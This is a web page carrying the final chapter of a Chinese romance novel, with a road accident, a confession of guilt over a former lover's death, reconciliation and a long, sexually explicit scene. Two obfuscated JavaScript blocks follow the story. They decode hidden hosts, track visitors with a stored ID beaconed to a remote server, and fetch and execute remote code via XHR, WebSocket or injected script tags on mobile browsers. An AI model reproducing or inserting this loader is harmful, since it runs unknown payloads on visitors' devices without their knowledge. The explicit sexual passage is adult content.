“阿勇?怎么回事?”丁涵惊慌地问道。

片刻后,杜安勇低声开口,几乎像是听不见自己的声音,“我不知道。” 说完,他甩开丁涵的手,大步向马路对面奔去。杜安勇完全没想到会在看热闹的人群中再次看到赵怡的背影,可相同的情形已经发生第二次,他无论如何要赶上前看个究竟。杜安勇盯着赵怡向聚集的人群狂奔,就在快要接近时,一个门卫老头儿忽然挤进人堆儿,‘哗’扯下大海报,满脸厌烦对着看热闹的一圈人喊道:“都散了,一个个没事儿么?跟这儿挤着看热闹。韩医生救了他们多人,怎么没见你们这么积极谢人家。”

门卫老头儿边说边推搡着,催促人群离开,看着杜安勇还往前冲,一时更加生气,跨步挡到他面前,使劲儿揪住他嚷嚷道:“我这么大嗓子你还听不见么,挤得这么凶想挑事儿怎么着,赶快走人。”

杜安勇被门卫老头儿一打岔,再抬眼寻找赵怡时,已经完全看不见踪影。他焦急地四处张望,忽然发现丁涵喘着气从马路对面朝他跑过来,她是如此专注想要跟上他,根本没看到有一辆汽车正高速朝她行驶过来。杜安勇只觉得一股寒气直逼脑门,完全忘了找赵怡的事儿,用尽全力使劲儿向丁涵扑了过去。那一瞬间,杜安勇只有一个念头,他得把她拉回来,就算躲不过,他也要陪着丁涵。

丁涵跑到马路中间才听到汽车鸣笛声,侧过头一看吓得几乎魂飞魄散。她惊恐地睁大双眼,本能让她躲闪,却不由自主身体变得异常沉重。忽然,一阵巨大的力量将她牵引向马路旁边,她扑跌在一个带着暖意的怀中,接下来脑海全是空白。

杜安勇用尽全身力量将丁涵拖到路边,惟一动作就是抱紧她。飞奔的汽车在他们旁边停下来,一男一女两个人从车里飞快冲了出来。他们也是脸色惨白,看样子被吓得不轻,一个劲儿抱歉不说,关切地询问有没有撞上、哪里受伤,坚持要带丁涵去医院检查。 .

丁涵好一会儿才回过神儿,摇头道:“没事儿。这也怪我,一时心急没看路。” 这时候已经有三三两两的路人停下来看热闹,丁涵不习惯在大马路上被一圈人围在中心,她抬起脸再次向杜安勇保证一切安好,并且央求道:“带我离开这儿。”

旁边两人马上应声问去哪儿,可以送他们。杜安勇狠狠瞪了一眼说话的男士,要不是怀里抱着丁涵,非朝他脸上挥一拳头不可。他撂下句脏话,揽着丁涵回到他的皮卡。杜安勇阴郁地问道:“要不要去医院,有没有头晕、恶心、呕吐、耳鸣?”

“没有!”丁涵迅速说道:“没有,我——”

“我还是要检查,”

杜安勇无视她的抗议,测了她的脉搏、唿吸,检查她的关节,甚至拿着手机里的电筒照了照眼睛,看着她的瞳孔收放正常这才松了一口气。他打了一辈子的架,没想到所学的那点儿医护知识今天竟然用到丁涵身上。

“阿勇,我——”

“你刚才差点没命,争论就免了。”

刚才从车上下来的女士早已快步跟上他们,在旁边观看杜安勇给丁涵做检查,临了递给他们一张名片,嘱咐万一有什么事儿一定要打电话联系。杜安勇火气再大也不好意思跟个女人发脾气,又看她确实心思诚恳,这才勉强收了下来。 丁涵已经从刚才的震惊中恢复了很多,低声抱怨杜安勇小题大做,碰都没碰上,怎么可能有事儿。可看他非常紧张的样子,到底还是由着他折腾。令丁涵意外的是,杜安勇没有带她回她的寓所,而是一路向郊外开去。

“我们去哪儿?”丁涵疑惑地问道。

“我家。”杜安勇面色严肃,连答话也简单许多。

这还是丁涵第一次来杜安勇的家。和自己那狭小的公寓比,杜安勇的家要大很多,但整间屋子隐约透着无人照管的味道,家俱陈旧古老,几乎没有任何装饰,杜安勇若非囊中羞涩,就是根本无心理会。她坐进一个超大沙发中,感觉杜安勇像这沙发一样,耐用、边缘略微磨损,但构造实在且坚固。

丁涵刚想开口夸两句,杜安勇却忽然把她提了起来,激动而用力地把她抱在身上,力道强得让她担心骨头会散架。他把脸埋在她的颈窝,嘴唇移动,仿佛想说话却又放弃,只是喃喃叫她的名字,一声又一声,然后唿唤变成亲吻,嘴唇划过她的肌肤、找到她的唇深入探索,速度快得让她头晕目眩。

丁涵稍稍撤离吸口气,然后呵呵轻笑出声。“我没事儿,刚才是不是吓着你了?”

杜安勇把她搂得更紧,说话也更加吃力,仿佛字字从喉咙中撕裂而出。“对不起,都是我的错。”

丁涵有些诧异,掰过杜安勇的脑袋看向他,“你在说什么?明明是你救了我啊。”

“那不是重点,”杜安勇一脸严肃,说道:“我,我不该抛下你。要是我刚才……”他停下来,又尝试开口,“若非我刚才……”

杜安勇双眼澄澈,有懊恼、有悔恨,表情出乎丁涵意料。那一瞬间,丁涵明白了——他这幅模样并不是针对刚才的事故、司机或者她。

他是怪他自己。

“究竟怎么了?”

杜安勇再次陷入沉默,注视着窗外。不知什么时候,天空开始飘雪,并且有越来越大的趋势。屋子里安静极了,他们甚至可以听到雪花漫天飞舞的声音。丁涵有点儿憋不住气,她碰碰杜安勇,小声叫他的名字。

终于,杜安勇在沉默持续到天荒地老前开口:“我刚刚看见了赵怡——” 丁涵霍然收起下颚,没折断脖子还真是奇迹。她坚决打断他,“什么?你疯了。”

“我也觉得我是疯了,但我不可能看错,虽然只是背影。”

杜安勇眼中闪烁着责难,不是对记忆中的赵怡,而是对他自己。丁涵看着他言之凿凿的样子,不知道他这么说是自嘲还是认真。然而无论是哪个,都让她无比沮丧和矛盾。她知道杜安勇喜欢她,对她的感情只真不假,但无论过去发生过什么,往事依然萦绕着杜安勇,而丁涵就是没办法忍受他和过去如此纠结不清。 “你知道吗?是我害死了赵怡。”杜安勇感觉到丁涵的目光,他没有变换姿势,只是张口说道。

丁涵不喜欢他把这事儿往自己身上揽,她皱着眉头不满道:“别胡说了,她是自杀啊!”

闻言杜安勇干笑两声,扭头看向丁涵,“赵怡才不会去自杀呢,她不是那种人。她只会用双手抓住生命,想尽一切办法把它拧成她要的样子。”

“谁都有零界点,坐在民政局等未来老公是喜庆事儿,可等一天未果就是灾难了。”

杜安勇没有接话,“我可以早早阻止,也该早早阻止。”

“噢。”她勉强点头,对他奇怪的讲话方式更加不满,心里嘀咕着杜安勇怎么什么事儿都喜欢往自己身上揽,真阻止了还有她存在的份儿么。

“赵怡对韩宗海着了魔,而且冥顽不化,就因为那男人是个医生,有钱有权,甚至不介意他是个老头子,连他儿子年龄都比她大。他们俩根本就是一出闹剧,但是赵怡不听——”杜安勇猝然住口,太阳穴抽动一下。

丁涵做了个深唿吸,“你曾试着告诉她,但她不肯听你的劝告。”

“赵怡一门心思钻在自己给自己编织的幻想里,而当她的想像力发作起来,哪怕现实像堵墙立在面前,她也什么都看不见。”杜安勇的嘴抿成一条线,“我和她争论到嗓子都哑了,她说我个种水果的,懂什么!”

“但是你确实懂,不是吗?”

杜安勇缓缓转回头,眼中全是悲悯。“那晚我发了火,她也大怒,那是我们争论最严重的一次。”

“那天晚上?”强烈的同情心油然而生,丁涵问道:“你是说哪天?…嗯…她被车撞的那晚?”

“我……她……”

丁涵领悟到杜安勇所说的已经超出他的计画范围,并且触及危险地界,聪明的做法是立刻撤退,但是她最近才展现的冒险天性,驱策她勇敢向前。她希望杜安勇能将所发生的一切讲出来,说不定阴影会就此消失。她不否认这是自己真心所想,就算她不讲理,就算她对杜安勇要求过分,她还是希望杜安勇能够将赵怡彻底赶出他的生命之外,赵怡的鬼魂早该入土为安了。

“出事的时候你在现场?”丁涵追问下去。

杜安勇闭上眼睛,仿佛又回到那个漆黑阴冷的夜晚。风势越来越强,唿唿有声,树叶被吹得四处摇曳飞散。轰鸣的雷声,伴随着滂沱大雨打在树叶、马路和房屋上,发出惊心动魄的声响。杜安勇不断抹着脸上的雨水,焦急等待赵怡再次出现在视野中。终于,他等到了她。赵怡低垂着头塌着肩膀,头发凌乱得不成形状,身上的衣服被雨水淋得透湿。杜安勇走上前叫住她,赵怡抬脸看到他有些惊讶、有些恼怒,随即拉着他走进路边的一处供附近居民玩耍的景观园林里,责问他为什么跟着她。

杜安勇不说话,只是展开臂膀要抱住她。赵怡浑身僵硬,两手捏着拳头抵在他胸前,过了一会儿到底垮下来,倒进他的怀里啜泣,身体也随之虚弱的颤动。 她似乎在瞬间崩溃,所有顽强和机警全被疲惫和痛楚所取代,以及伴随而来的巨大绝望和恐惧。杜安勇紧紧抱着赵怡,摸索她的头发,喃喃说着抚慰她的话。他想带她回家,但赵怡固执地一定要留下来等那个医生问个清楚。

杜安勇耐心的劝说那男人跑不掉,就是有什么话,大可以换个更好的时间和地点,赵怡只是不允。两人开始争执,赵怡更是怒火冲天大声责骂。等到韩宗海的车出现在视野里,她不管不顾就要冲上去。杜安勇抓着她让她冷静,这么冒然冲出去小心韩宗海刹不住车。赵怡却用力抽出手使劲儿推开他,杜安勇脚下一滑失去平衡,趔趄后退摔倒在泥泞的斜坡,在重力作用下翻了几个身子滑到土坡的另一边,刚好身体撞到一块石头,痛得大叫一声。

赵怡有些意外杜安勇受伤,可看着汽车渐渐接近,到底咬咬牙转身跑了出去。 她情绪激动,一心一意要赶到韩宗海面前拦下他的车,想都没想自己忽然跑到马路上会有多危险。杜安勇不顾伤痛大声提醒她,但是没用,风声和雨声吞没了他的吼声,赵怡不可能听得见。他还没来得及从泥泞中爬起来,就听见尖锐的鸣笛和轮胎紧急刹车的刺耳摩擦声,世界仿佛静止下来,杜安勇只觉得一阵天旋地转。

等他再次醒来时,警车、救护车已经来到,他忍着浑身伤痛走上前,却被维护人员拦在周边不让靠近。远远看着地上盖着的布子,他知道为时已晚。

“噢,杜安勇。”丁涵完全明白过来,但却不知道该如何解劝,只能伸出手拍拍他的肩膀。她很同情他,但又得努力伪装不要让他感觉出来。如果他知道她在为他难过,他一定会生气。“你在想如果当时你拉住她,如果没有露面,如果不和她争执,赵怡都不会死。难怪你着了魔似的放不下这事儿,难怪你会看到赵怡。在你内心,觉得该为她的死负责。是不是?”

杜安勇颓然垂下肩膀,无比懊恼说道:“我知道这实在是太傻,但是如果能够让我重来一次,我绝不会那样做。”

丁涵毫不客气点头附和,“没错,我该叫你傻子,不,是天字号大傻子,这样比较适合你。你需要有人陪伴你、保护你。不幸的事,她偏偏不愿意陪伴你,而你却一个心眼去保护她,心甘情愿当个傻瓜。”

有那么瞬间,杜安勇眼中闪烁愤怒。他咬着牙道:“你根本不了解。”

“显而易见。”丁涵‘唿’地站起身,拿起皮包和大衣朝门口走去。

杜安勇一跃而起,喊道:“等一下,你要走了么?”

丁涵回应非常干脆:“我不想抛下你,相反的,我想成为你生活的一部分。 但是,你不肯。“

杜安勇一把拉住丁涵,“别走。”

“那就不要把我当白痴。”

“相信我,我有许多词儿形容你,但‘白痴’绝对不是其中之一。”杜安勇无可奈何地解释:“我并不是想再续前缘,只是…只是想知道她还需要些什么?” 丁涵又注视他几秒,却也不愿意再听这些牵强答复。“也许你不想再续前缘,然而她死了这么长时间,你却还是能看到她,还是想追上她、还是想和她说话。 这就是问题关键,你虚实不分,让自己纠结在过去那点儿可怜兮兮的回忆里,又将一些根本碰不着、摸不见、改变不了的‘如果’窝在心里,好像蚌壳一样,活生生把颗刺儿养成珍珠。我非常喜欢你,但我不会傻到在心里放根刺,在我这儿刺就是刺,无论一天两天,还是十年八年,包裹多长时间都会血流不止。你不值当,没人值当!你趁早甩了我,我们俩一了百了。“

丁涵想了想又觉得不对劲儿,补充说道:“不对,应该是我现在就甩了你,大家桥归桥,路归路。”

“我没有在选择!”见鬼!这是怎么发生的?杜安勇原本下定决心和丁涵白头到老,现在她却要和他一拍两散。

“好吧,告诉我你的打算,我有权知道。”

“我——”杜安勇欲言又止,又或者根本无话可说。

丁涵皱起眉头,更加不满,替他接话道:“你不去做点什么,又能怎么改变? 除非你对现状满意,你满意么?“

杜安勇苦笑,“你答应听我说完,好么?”

丁涵犹豫了一下,到底放下皮包和大衣,静静站在那里,不再说话。

杜安勇深吸一口气,“你说的没错,我不满意、非常不满意,所以一直想做点什么去改变。选择退出拳场就是想了断,你虽然不说,但我知道你不喜欢我打拳。今天早上来到出事的地方,也是一个心思。然而,每次做点儿什么,赵怡总是会出现在我面前。我不知道有没有被她怨恨,不知道她是不是来索命。我知道的是我不能推卸责任,那天晚上如果没有我,赵怡无论如何不至于丢掉性命,这是千真万确的事实。说她虚荣也好、肤浅也罢,她不过是努力想抓住一个让生活更好的机会,无可厚非。”

杜安勇退后一步,抓紧丁涵的肩膀认真说道:“你知道那天我们困在电梯里,你让我印象最深的是什么?”

丁涵乍一听杜安勇没有上下文的问题有些脸红,“我……嗯……”

能让丁涵哑口无言可真是不容易,两人之间的紧张气氛倒是缓和了一些。杜安勇暗自庆幸,同时又赶紧界面:“不是你想的,我的意思是,不光是你想的。” “哦。”丁涵感到更加窘迫,脸上的红晕越发明显。

杜安勇抬手捧起她的双颊,继续说道:“你说过人这辈子就几十年,最重要的是满足自己,不是讨好别人。相信我,没有人比我更想放下过去,更想听到这句话,尤其之后有了你,让我更是觉得得了宝贝。即使你和我发脾气大吵大闹,也让我既生气又欢喜。今天看你差点儿出车祸,我死的心都有了,这些都是以前从来没有的感觉。带你来这里,就是想让你知道、让你看到,我没有很多,但我有的,一切都给你。将来是死是活、是福是祸,总之有你陪着我。赵怡爱怎么样怎么样吧,我不会离开你,也不会让你离开我。”

丁涵仍然默不做声,生平第一次不知该怎么回答,虽然心底深处,她感觉到自己已经投降。从电梯的偶遇开始,他们之间就存在一股陌生但真实的感情,她一直在努力找出那是什么,以及会带领他们到达什么地方。也许他们的开头并不顺利,但他救了她的命。他就那么毫不犹豫地直直撞向开过来的汽车,这样的男人还不值得她信任吗?丁涵缓缓挣脱他的双手试图思考,实在不确定该说些什么。 这可能是极为重要的一刻,是她人生转捩点,她不想搞砸。

“你睡觉打唿噜打得好响。”丁涵终于说道:“这可能得花些时间来习惯,不过我愿意试试。”

杜安勇明显松了一口气,同时眉毛微微扬起。“你往我的酒里再掺水,就干脆给我自来水吧。我肯定得花些时间来习惯,不过我愿意试试。”

“哪有那么糟!”丁涵抗议,抬手环住杜安勇。

杜安勇立刻圈住她的腰收紧,“是的,很糟。”

丁涵忍不住微笑,“我的工作时间很不固定。”

“我也是。”

“我周末常要加班。”

“我也一样。”

丁涵微笑着踮起脚尖吻了吻他,转而一脸严肃地说道:“听着,今天是没可能了,你知道赵怡葬在哪儿么?我们清明的时候去看看她吧!”

杜安勇非常意外,疑惑地说道:“你根本不信这些。”

“我当然不信,但我更不想让你的自责站在我们之间。你要是想问她什么,或者对她说些什么,还有哪里比她安葬的地方更合适?你需要一个了断,就给自己一个方式去了断,真要再看见她,那就更好了。到时候我和她谁走谁留,咱们仨儿谁都别挡谁的道儿。”

杜安勇没有说话,只是凝神盯着丁涵,那眼神如此强烈,好像可以把她连人带屋烧焦似的。他忽然上前,嘴唇癫狂而有力地压住她。以前哪怕在他最兴奋的时刻,杜安勇似乎也总能克制自己,小心掌控自己的激情。她从不担心他会对她不够温柔——直到现在。杜安勇看上去像个野人,还没等她来及反应,人已经躺到了床板上。杜安勇粗暴地脱掉她的衣服,他的衣服很快也加入到地板上,然后他爬到她身上将她固定住。

丁涵浑身发烫,上下都在燃烧,猛烈来袭的男人味道和红果果的性张力让她束手无策、松软无力。她嘴唇微微开启,无声喘着气,心脏开始狂跳,脑子里一片空白。

“答应我,别离开我。”杜安勇沙哑地说,手指颤抖地抚摸她的脸庞。

丁涵试着想说他也不要离开她,但说不出来,因为杜安勇的嘴已经含住她的乳尖吸吮,接着往下品尝她的肚脐,新长出的胡须摩搓着她的肌肤,刺激着她、诱惑着她。一股暖流直达她的下腹,迅速缠绕并滋长。丁涵拱起身体靠向杜安勇,将自己送给他。

杜安勇略微离开丁涵身体,将一双垂在床沿的白嫩双腿举起往两侧掰开,将她身体最隐秘动人的羞处显露出来。只见白皙柔嫩的阴唇好像两片肉果儿,好像咬一口就会有甜蜜的汁水流出,只看得杜安勇唿吸急促、心跳加快。他探出两手拇指滑到中间,将微微张开的肉果彻底撑开,粉红娇小的花蒂娇滴滴悬在中间惹人怜爱,好像在等待杜安勇的采摘。

丁涵又羞又窘,白皙的皮肤上早已泛出深深的红晕,眼见杜安勇移动手指转着圈抚弄,酥麻的感觉让她小腹一阵紧缩,底下立刻温热一片,打湿了他的手指。 丁涵低唿一声,闭上眼睛恨不得立刻从地球消失。她仰着脖子向后移动身体,想要离开杜安勇的掌控,可是肩膀刚触到床铺,杜安勇的舌头已经覆盖上来,慌得她双手啪地打到床板,几乎从床上跳起来。

杜安勇用力将她固定在原地,极力不让疯狂扭动的丁涵逃开或弹起,同时一会儿张开嘴咬噬两片嫩肉,一会儿舌头又钻进去舔舐花蒂,将她品尝个仔细彻底。 很快一股一股蜜水潺潺冒了出来,刺激地他更加使劲儿动作,或细细拨弄敏感的花蒂,或轻轻含住拉扯。杜安勇贪婪地吞噬着她,心想这铁定是他做过最过瘾的事,而且他要感谢老天爷,身为他的女人,从今而后他什么时候享受都可以。 丁涵被折磨得浑身仿佛着了火,娇喘吁吁燥热不堪,身体里有某种东西紧紧蜷起,某个既急切又绝对邪恶的东西让她不由自主夹紧双腿,将杜安勇的嘴巴牢牢贴住自己。如果再不得到舒解,她就要爆炸成灰了。丁涵抱住杜安勇的脑袋,就要哭出来似的,断断续续乞求道:“…勇…别再折磨我了。”

杜安勇听着也没有回答,温热濡湿舌头找到甬道入口,伴着汩汩冒出的蜜液戳刺进去。丁涵不由自主紧缩颤抖,试图抵挡陌生的入侵。舌头滑了出去,之后又迅速挺入进来。与此同时,杜安勇两臂伸出,从平坦的小腹抚摸到高耸柔软的胸前,张开双手揉捏玩耍,掌心在挺立的乳头按压,只不过反复几次,丁涵甬道内的肌肉就越收越紧。杜安勇见状,一双大手拢住丁涵的胸部,使劲儿挤捏一下后撤离开来。一只手来到阴蒂按压拨弄,另外一只手则向更低的位置探去,缓缓按摩中找到后庭压挤进去。

丁涵顿觉五脏六腑翻腾搅扰,好像要从喉咙里吐出来一样。她顾不得羞怯,撑着自己抬起双腿搭到杜安勇肩膀,挺起腰身贴了过去,试图抓住那折磨人的恣意快感,体内的暖流在杜安勇的口手夹击下迅速汇集起来。丁涵挺起脖颈无助地张开嘴,感觉体内仿佛有个弹簧扭得越来越紧。她赶紧抓住枕头,手指的关节都变白了,若在这时扣着杜安勇,恐怕会把他折成两半。

强烈的紧绷感让她无法忍受,直到那感觉突然迸裂,向外猛力扭转,快感瞬间爆发,窜过四肢、每根血管和每道肌肉,她‘啊’的一声,身体高高拱起,身下热流汩汩喷涌出来,两条胳膊因为强烈的冲击而虚软,整个身体也因此而剧烈颤抖。杜安勇赶紧起身一把抱住丁涵,护着她化成水似的瘫软下去。

杜安勇顺势缓缓将她重新抱到大床中央,双手在丁涵光滑娇嫩的腰背上抚摸,嘴巴在脖颈肩胛又亲又啃,胯部抵在娇嫩的下身不住研磨。丁涵身体原本就非常敏感,在杜安勇的挑逗下不堪承受,竟然又有一股蜜液流了出来,那里原本就因为刚才的高潮泥泞不堪,一下将他的勃起和大腿浇水似的湿了一片。

杜安勇忍不住喉间咕哝一声,“操!”

“嗯?怎么还没开始么?”丁涵也学着咕哝。

杜安勇咧咧嘴,手掌在她的股间滑动并以膝盖将她双腿分得更开。把自己安置好后,他的双手滑向她身下,稳稳抱着她,一个深深的猛烈冲刺滑进去,急不可待享受那紧窒湿润的喜悦感觉。丁涵喉咙深处发出震惊的叫喊,又立即咬住双唇,紧紧闭上双眼,呜咽着、扭动着,努力让自己容纳他。杜安勇亦发兴奋而粗鲁,冲刺得更加卖力。

丁涵在他身下低吟,指甲掐入他背部的同时,髋部充满索求地抵压着他用力磨蹭。她挣扎着从嗓子里喊出两个字:“还要!”

杜安勇把手指滑到她身下,抓住臀部让她往上倾斜。这个姿势的律动让她更加快速抵达临界点,丁涵的喉咙里嘶哑地发出一声喊叫,她拱起身体,整个人先是僵硬,然后开始发抖,体内肌肉随即紧紧箍住他一阵阵收缩。杜安勇坚持不下去了,嘶吼着往前冲,直至释放、清空自己。他喘息着紧紧抱着丁涵翻了个身,让软绵绵的丁涵躺在他胸膛。好长时间,谁都没有说话,像在回味刚才的愉悦刺激,亦或者只是单纯享受拥抱彼此的宁和安静。

杜安勇从未感觉如此疲倦,但每一根神经又都浸透着欢愉。他的大手不由自主爬上丁涵的臀部,渐渐滑入她的腿间。

“嘿,”丁涵好不容易可以开口说话,不可思议地问道:“你还嫌不够吗?” “不够。”杜安勇只管坏坏地低笑,几乎无法相信那是自己的笑声。他再度吻她,好一会儿才抬起脸,“我想永远都不会觉得够。”

“是么?”丁涵偎依在他胸前,弯起了嘴角。

“不是么?”杜安勇将她抱得更紧。

丁涵抬起头,俯视那张不是很英俊但却充满阳刚的脸孔。杜安勇的目光不再是以前的那种阴郁沈闷,而是一片温煦明亮,仿佛疑虑尽消,她心中有了答案。 “是的。”丁涵清晰说道。

杜安勇几乎无法唿吸,他想起那个夜晚,从来不会主动用电梯的他踏入那架电梯。丁涵曾经说他是她循规蹈矩生活里的一次大冒险,对他来说又何尝不是。 内心深处,杜安勇仍然不确定有没有办法放下过去,和她每天一起上床睡觉,第二天早晨一起起床,但又忍不住尽情畅想和这个女人共度愉快时光。丁涵直率而简单,只要他敞开心扉、愿意敞开心扉,他相信丁涵一定能带给他莫大的惊奇。 杜安勇暗下决心,不管将来会怎样,总好过现在的一无所有。

太阳缓缓坠下地平线,大地幽暗下来。鹅毛飞雪仍在漫天飞舞,形成一条条白色斜线,将又低又黑的天幕映照得明亮起来。从落地长窗看出去,原本熟悉的景象一片莹白、一片洁净,皑皑白雪保护着大地、保护着他们,像在簌静的抚慰,又像一种崭新的希望,格外清晰、格外耀眼。

【完结】


上一篇:跟资深女同事出差

下一篇:《和前任小姨的激情一夜》


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};